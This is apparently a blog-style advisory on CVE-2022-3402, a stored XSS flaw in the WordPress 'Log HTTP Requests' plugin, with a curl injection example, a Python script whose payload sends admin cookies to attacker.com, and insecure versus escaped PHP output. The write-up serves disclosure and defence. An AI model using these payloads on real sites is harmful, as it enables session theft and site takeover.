If you build websites with WordPress, plugins are part of everyday business. But plugins can become a double-edged sword—improving functionality while also opening up security problems. In this post, we’re diving into CVE-2022-3402, a serious vulnerability discovered in the “Log HTTP Requests” WordPress plugin (versions up to and including 1.3.1).
This flaw is a stored Cross-Site Scripting (XSS) vulnerability that can allow attackers to inject and execute malicious web scripts in the admin dashboard, all because of input sanitization mistakes. If you use this plugin or perform WordPress security auditing, let’s walk through this risk in simple terms—with code, references, and a real-world exploit scenario.
Vulnerability Type: Stored Cross-Site Scripting (XSS)
- CVE: CVE-2022-3402
Affected Users: Any WordPress site running vulnerable plugin version
The vulnerability exists because the Log HTTP Requests plugin does not properly sanitize or encode certain user-supplied data before displaying it in the WordPress admin panel. This allows attackers to inject malicious scripts, which get stored in the database and run for any admin or other authenticated users who view the logs.
1. Trigger a Logged Request
The plugin logs incoming HTTP requests. If user input from these requests isn’t sanitized, malicious data can land in the logs.
2. Injection
An attacker can craft an HTTP request to the vulnerable site containing malicious JavaScript in a header (like User-Agent, Referer, or query parameter).
Sample Malicious Request
curl -H 'User-Agent: <script>alert("XSS")</script>' https://vulnerable-website.com/
3. Stored Payload
The plugin records this request, including whatever was in the User-Agent field, *directly* in its admin logs table.
4. Script Execution
When an admin views the HTTP request logs page in the WordPress dashboard, the attacker's script executes in their browser context with admin privileges.
Breaking Down the Faulty Code
Let’s look at the kind of code logic that leads to this vulnerability.
Suppose the plugin code (simplified example) captures HTTP request information like so
// Insecure - direct output without sanitization
echo '<tr><td>' . $_SERVER['HTTP_USER_AGENT'] . '</td></tr>';
The correct way should sanitize and escape every output
// Secure - escape output to prevent XSS
echo '<tr><td>' . esc_html($_SERVER['HTTP_USER_AGENT']) . '</td></tr>';
Missing this simple step lets attackers slip in harmful HTML/JS, which browsers interpret and run.
Site administrator logs in and checks the “Log HTTP Requests” page.
3. The script runs in the admin’s browser session. Now the attacker can do whatever that admin can do—like create users, install rogue plugins, or steal cookies.
Here’s how an attacker might automate sending a malicious payload (using Python)
import requests
target = "https://vulnerable-website.com/"
payload = '<script>fetch("https://attacker.com/steal?cookie="; + document.cookie)</script>'
headers = {
'User-Agent': payload
}
response = requests.get(target, headers=headers)
print(response.status_code)
References & Official Details
- NVD Entry for CVE-2022-3402
- Wordfence Advisory
- Patchstack Advisory
Persistent: Every time the entry is viewed, the payload executes until it’s manually removed.
## Fix / Mitigation
- Update Immediately: Upgrade to the latest plugin version (newer than 1.3.1), which sanitizes logged data before display.
Avoid Viewing Suspicious Log Entries: Until a patch is applied.
For developers: Always use output escaping (esc_html(), esc_attr(), etc.) before displaying user-controlled data.
Conclusion
CVE-2022-3402 is a clear reminder: input sanitization and output encoding are *critical*. A tiny oversight—skipping a WordPress escaping function—made it possible for attackers to run code in an admin’s browser and potentially take over sites without any login.
Upgrade your plugins, stay alert with vulnerability databases, and always code defensively. Even the smallest plugins can become the biggest threats!
Timeline
Published on: 10/28/2022 19:15:00 UTC
Last modified on: 11/03/2022 14:23:00 UTC